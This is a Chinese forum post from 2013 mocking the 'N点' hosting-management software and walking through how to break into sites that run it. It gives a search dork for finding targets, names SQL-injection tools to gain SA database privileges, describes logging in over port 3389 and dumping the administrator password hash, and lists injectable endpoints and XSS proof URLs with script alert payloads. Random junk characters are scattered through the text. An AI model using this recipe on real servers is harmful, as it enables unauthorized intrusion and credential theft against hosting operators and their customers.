不得不说N点实在是一个破东西
) t0 c" k- c+ t( [$ H \就算他开发的商业版，就算商业版附带了安全设置也不能掩饰他的破烂- P d7 D+ Z4 q2 F, }- Z; b6 G
好吧 抱怨一下就行了 接下来关键的时候到了4 L7 p3 T! p9 Z" w. R5 _$ X
首先百度搜索关键字：inurl: (mmdatabase.asp)
) O- B" d: t- z7 g我随便列举一个： www.xxxx.com, G2 w& X# e/ Y
修改链接：http://www.xxxx.com:80/Style/new ... &RID=1&ID=1
8 ?$ d7 q) g2 m9 d2 t扔入NBSI 或者啊D等各种傻逼工具后2 M, m) o4 V0 i, `3 J9 A& v, m
你们会看到是SA权限! [# P' w9 w e0 c V4 ? x/ x
果断3389 上去 hash得到administrator密码0 m2 N! q9 [3 k
擦屁股走人~
1 s& f5 |: C7 ?' g. B2 c经过基友本人测试10个这个程序5个以上有这个漏洞5个里面有一半是SA权限的
2 O( @) x6 P, b' o, s
2 Q! k: }" Q, \再附上其他几个漏洞页面! M' y7 z% D; J/ [
SQL：2 `. Y9 R/ ]5 ?+ P e! S2 q! l, D
http://www.xxxxxx.com:80/Style/flashad/flashad.asp?adid=18 l! ^8 [5 }; H7 R1 ^, ^
http://www.xxxxxx.com:80/Manage/ ... ogin.asp&PID=11, @! `2 I. J5 |. Z ~: e
http://www.xxxxxx.com:80/Manage/ ... login.asp&PID=9
; @5 U& i2 F Y7 Yhttp://www.xxxxxx.com:80/Style/vhosting.asp?classID=2' ] E. ^ h# f
XSS证明：; ^* m6 `. l1 I4 t8 w6 }0 }/ R. b3 H
http://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”
# T! r8 O: } ]9 zhttp://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”
% i- g2 Y: e: T) V r: Yhttp://www.xxxxxx.com:80/Style/d ... mp;checkbox2=.bj.cn<script>alert(42873)</script>
' J; h+ |& Y5 r% S: `- [由此可见点就是坑逼中的战斗机 自从用了他我的眼泪都流干了 有做IDC的朋友千万别步我后尘啊 便宜没好货好货不便宜
$ J) a; m0 |- I还是星外吧 你们懂的
4 @ q) ^. e' s' y& j: [作为一个商用程序 安全如此堪忧甚至于连网上开源的一些程序都有所不如，这样的公司能走多远？
! e o8 R+ n, B+ }8 h7 G- B/ GPS：其实我真的很想知道你说N点这SB asp就asp吧 为什么asp还非要MSSQL 这不是好像告诉我们快来日吧我们很容易日的，裤子都脱啦，就等你啦。 o(︶︿︶)o 唉
0 G, e D& g4 f+ ?2 g' j——- |
发表于 2013-3-3 08:06:44
收藏
支持
反对